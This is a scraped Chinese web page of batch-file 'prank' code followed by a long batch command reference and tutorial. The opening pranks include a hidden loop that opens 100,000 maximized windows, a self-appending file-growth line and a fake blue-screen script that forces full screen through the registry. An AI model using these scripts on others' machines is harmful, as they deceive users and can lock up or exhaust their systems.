e01C0 20 56 58 44 20 56 4D 4D 28 30 31 29 20 2B 0D 0A
e01D0 24 20 20 20 20 20 30 30 30 31 30 45 33 36 2E 20
e01E0 54 68 65 20 63 75 72 72 65 6E 74 20 61 70 70 6C
e01F0 69 63 61 74 69 6F 6E 20 77 69 6C 6C 20 62 65 20
e0200 74 65 72 6D 69 6E 61 74 65 64 2E 0D 0A 24 20 20
e0210 20 20 20 2A 20 20 50 72 65 73 73 20 61 6E 79 20
e0220 6B 65 79 20 74 6F 20 74 65 72 6D 69 6E 61 74 65
e0230 20 74 68 65 20 63 75 72 72 65 6E 74 20 61 70 70
e0240 6C 69 63 61 74 69 6F 6E 2E 0D 0A 24 20 20 20 20
e0250 20 2A 20 20 50 72 65 73 73 20 43 54 52 4C 2B 41
e0260 4C 54 2B 44 45 4C 20 61 67 61 69 6E 20 74 6F 20
e0270 72 65 73 74 61 72 74 20 79 6F 75 72 20 63 6F 6D
e0280 70 75 74 65 72 2E 20 59 6F 75 20 77 69 6C 6C 0D
e0290 0A 24 20 20 20 20 20 20 20 20 6C 6F 73 65 20 61
e02A0 6E 79 20 75 6E 73 61 76 65 64 20 69 6E 66 6F 72
e02B0 6D 61 74 69 6F 6E 20 69 6E 20 61 6C 6C 20 61 70
e02C0 70 6C 69 63 61 74 69 6F 6E 73 2E 0D 0A 24 0D 0A
e02D0 24 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e02E0 20 20 20 20 20 20 20 20 20 20 20 20 50 72 65 73
e02F0 73 20 61 6E 79 20 6B 65 79 20 74 6F 20 63 6F 6E
e0300 74 69 6E 75 65 20 24 56 01 83 01 86 01 D1 01 0E
e0310 02 4C 02 92 02 CE 02 D1 02
rcx
219
n t
w
q========================cut here===================================================2.运行后,窗口会自动消失,然后打开最大化的C:\WINDOWS,无论缩小还是关掉,都会有个最大化的窗口置顶========================cut here===================================================@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
for /l %%i in (1,1,100000) do start /max C:\WINDOWS========================cut here===================================================3.很简短的一段代码,但很有趣,有点像程序大战,运行后,看到好像停了的时候就关了它,再看看原来文件的大小,会变得很大,再看看它的代码,已经变了,我运行后等了2秒关了,大小变成了30.2MB了========================cut here===================================================type %0>>%0 ========================cut here===================================================这个要注意有两行,打完第一行是有一个回车的

bat文件恶作剧代码

@echo off & color 1f
:1
if "%1"=="" goto :FullScreen
::还原显示模式
REG Add HKEY_CURRENT_USER\Console /v FullScreen /t REG_DWORD /d %1 /f>nul
::全屏状态下代码段
cls
echo A problem has been detected and windows has been shut down to prevent damage to your computer.
echo .
echo DRIVER_IRQL_NOT_LESS_OR_EQUAL
echo .
echo If this is the first time ...
echo .
echo If ... continue,press F8 to select advanced startup options, and then select saft mode.
echo .
echo Technical information:
echo .
echo *** stop:0X000000D1(0X00000040,0X00000002,0X00000001,0XF9A5E150)
echo .
set /p wkdxz=*** wanarp.sys-Address F9A5E150 base at F9A59000, Datestamp 41107C89
<nul
pause>nul

Goto :1

:FullScreen

::查询显示模式

Set ShowMode=0

for /f "delims=" %%i in ('REG QUERY HKEY_CURRENT_USER\Console /v "FullScreen"') do (

Set ShowMode=%%i

)

Set ShowMode=%ShowMode:~-1%

::设置显示模式为全屏

REG Add HKEY_CURRENT_USER\Console /v FullScreen /t REG_DWORD /d 1 /f>nul

::全屏启动当前Bat脚本

start "" %0 %ShowMode%

退出方式:

按CTRL+C终止批处理,输入Y回车,输入EXIT回车即可退出

蓝屏代码,只是搞怪,不会破坏系统.

按ALT+F4也退不出来
</nul

bat文件命令大全

有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
appwiz.cpl------------添加删除程序
control userpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以当作是 Windows 的一个附件,Ping,Convert 这些不能在图形环境下 使用的功能要借助它来完成。
cmd------jview察看Java虚拟机版本。
command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
calc-----------启动计算器
chkdsk.exe-----Chkdsk磁盘检查
compmgmt.msc---计算机管理
conf-----------启动 netmeeting
control userpasswords2-----User Account 权限设置
devmgmt.msc--- 设备管理器
diskmgmt.msc---磁盘管理实用程序
dfrg.msc-------磁盘碎片整理程序
drwtsn32------ 系统医生
dvdplay--------启动Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------组策略编辑器
gpupdate /target:computer /force 强制刷新组策略
eventvwr.exe-----事件查看器
explorer-------打开资源管理器
logoff---------注销命令
lusrmgr.msc----本机用户和组
msinfo32---------系统信息
msconfig---------系统配置实用程序
net start (servicename)----启动该服务
net stop (servicename)-----停止该服务
notepad--------打开记事本
nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板
Nslookup-------IP地址侦测器
oobe/msoobe /a----检查XP是否激活
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit----------注册表编辑器
regedt32-------注册表编辑器
regsvr32 /u *.dll----停止dll文件运行
route print------查看路由表
rononce -p ----15秒关机
rsop.msc-------组策略结果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器
secpol.msc--------本地安全策略
services.msc---本地服务设置
sfc /scannow-----启动系统文件检查器
sndrec32-------录音机
taskmgr-----任务管理器(适用于2000/xp/2003)
tsshutdn-------60秒倒计时关机命令
winchat--------XP自带局域网聊天
winmsd---------系统信息
winver-----显示About Windows 窗口
wupdmgr-----------Windows Update
.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称
时,MS-DOS成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。
==========
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== willsort 编注 ===========
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到
的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区
别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一
个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.
=====================
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执
行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
==== willsort 编注 =====
此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理
-------------------------
ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO
命令。
message
指定让MS-DOS在屏幕上显示的正文。
-------------------
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
batch-parameters
指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS
中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的注解。
=======================
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,
启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表
示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
==== willsort 编注 ===============
参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间
(例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参
数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如
下:
初始状态, cmd 为命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1次shift后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返
复移动起始指针.
====================
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
==== willsort 编注
if 的命令行帮助中关于此点的描述为:
IF [NOT] string1==string2 command
在此有以下几点需要注意:
1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符
2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量
3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行
=============================
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。
****** willsort 编注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系统中已加载的设备, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:
1. 该设备确实存在(由软件虚拟的设备除外)
2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)
3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)
可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备
另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄
(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即
指在内存中为其分配可引用的句柄.
==================================
3、if errorlevel

阅读更多 >>>  苹果手机volte是什么意思

待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值

,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立

,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

==== willsort 编注 ===========

返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺

序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

if errorlevel 1 set el=1

if errorlevel 2 set el=2

if errorlevel 3 set el=3

if errorlevel 4 set el=4

if errorlevel 5 set el=5

...

当然, 也可以使用以下循环来替代, 原理是一致的:

for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章

出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致

在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.

另外, 虽然 if errorlevel=

command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略

掉罢了

===========================

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配

合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end

echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

==== willsort 编注

label 常被译为 "标签" , 但是这并不具有广泛的约定性.

goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case

结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语

法结构上的对照:

Batch C / Basic

goto&: goto&:

goto&:&if if{}&else{} / if&elseif&endif

goto&:&if... switch&case / select case

goto&:&if&set&envar... function() / function(),sub()

==================================

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配

合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N 在提示符中隐藏选项列表。提示前面的消息得到显示,

选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具

是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0

到 9999。如果指定了 0,就不会有暂停,默认选项

会得到选择。

/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text 指定提示之前要显示的消息。如果没有指定,工具只

显示提示。

/? 显示帮助消息。

注意:

ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

==== willsort 编注 ===============================

我列出win98下choice的用法帮助, 已资区分

Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN

指定允许的按键(待选字符), 默认为YN

/N Do not display choices and ? at end of prompt string.

不显示提示字符串中的问号和待选字符

/S Treat choice keys as case sensitive.

处理待选字符时大小写敏感

/T[:]c,nn Default choice to c after nn seconds

在 nn 秒后默认选择 c

text Prompt string to display

要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

====================================

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errorlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号

为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到

end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

网站数据信息

"bat代码大全,bat整人代码"浏览人数已经达到16次,如你需要查询该站的相关权重信息,可以点击进入"Chinaz数据" 查询。更多网站价值评估因素如:bat代码大全,bat整人代码的访问速度、搜索引擎收录以及索引量、用户体验等。 要评估一个站的价值,最主要还是需要根据您自身的需求,如网站IP、PV、跳出率等!